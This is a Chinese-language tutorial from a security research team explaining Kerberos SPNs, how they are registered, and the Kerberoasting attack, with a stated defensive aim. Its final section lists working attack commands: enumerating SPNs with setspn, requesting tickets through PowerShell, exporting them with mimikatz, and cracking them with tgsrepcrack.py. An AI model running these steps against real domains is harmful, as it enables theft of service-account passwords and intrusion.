Kerberos 身份驗證使用 SPN 將服務例項與服務登入帳戶相關聯。在內網中,SPN掃描透過查詢向域控伺服器執行服務發現,可以識別正在執行重要服務的主機,如終端,交換機等。SPN的識別是Kerberoasting攻擊的第一步。本文由錦行科技的安全研究團隊提供,旨在透過對SPN進行介紹,幫助大家深入瞭解Kerberoasting攻擊過程以應對該種攻擊。
SPN
SPN(ServicePrincipal Names)服務主體名稱,是服務例項(比如:HTTP、SMB、MySQL等服務)的唯一識別符號。Kerberos認證過程使用SPN將服務例項與服務登入賬戶相關聯,如果想使用 Kerberos 協議來認證服務,那麼必須正確配置SPN。
SPN分為兩種型別:
1.一種是註冊在活動目錄的機器帳戶(Computers)下,當一個服務的許可權為 Local System 或 Network Service,則SPN註冊在機器帳戶(Computers)下。
2.一種是註冊在活動目錄的域使用者帳戶(Users)下,當一個服務的許可權為一個域使用者,則SPN註冊在域使用者帳戶(Users)下。

SQLServer在每次啟動的時候,都會去嘗試用自己的啟動賬號註冊SPN
在Windows域裡,預設普通機器賬號有權註冊SPN:
域:test.com
機器名:W10b
域機器賬號(system)
(手動註冊)成功註冊

普通域使用者賬號是沒有權註冊SPN:
域:test.com
機器名:W10b
普通域使用者:test\fw
(手動註冊)許可權不夠

這就會導致這樣一個現象,SQL Server如果使用“Local System account”來啟動,Kerberos就能夠成功,因為SQL Server這時可以在DC上註冊SPN。如果用一個普通域使用者來啟動,Kerberos就不能成功,因為這時SPN註冊不上去。
在DC上為域賬號賦予 “Read servicePrincipalName” 和 “Write serverPrincipalName” 的許可權



勾上serverPrincipalName的讀寫許可權:

再次使用普通域使用者註冊,成功註冊

Kerberoasting攻擊
域內的任何一臺主機使用者或普通域使用者,都可以透過查詢SPN,向域內的所有服務請求TGS,然後進行暴力破解,但是對於破解出的明文,只有域使用者的是可以利用的,機器賬戶的不能用於遠端連線,所以我們的關注點主要就在域使用者下注冊的SPN。
發現SPN
Setspn -Q */*

請求SPN
(powershell)
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sqlsrv.test.com:1433"

匯出票據
mimikatz # kerberos::list /export

破解票據
https://github.com/nidem/kerberoast
python3 tgsrepcrack.py pass.txt "2-40a10000-w10a$@MSSQLSvc~sqlsrv.test.com~1433-TEST.COM.kirbi"

如果得到的是一個有權註冊SPN的域賬號,也可以透過手動註冊的方式來進行Kerberoasting攻擊。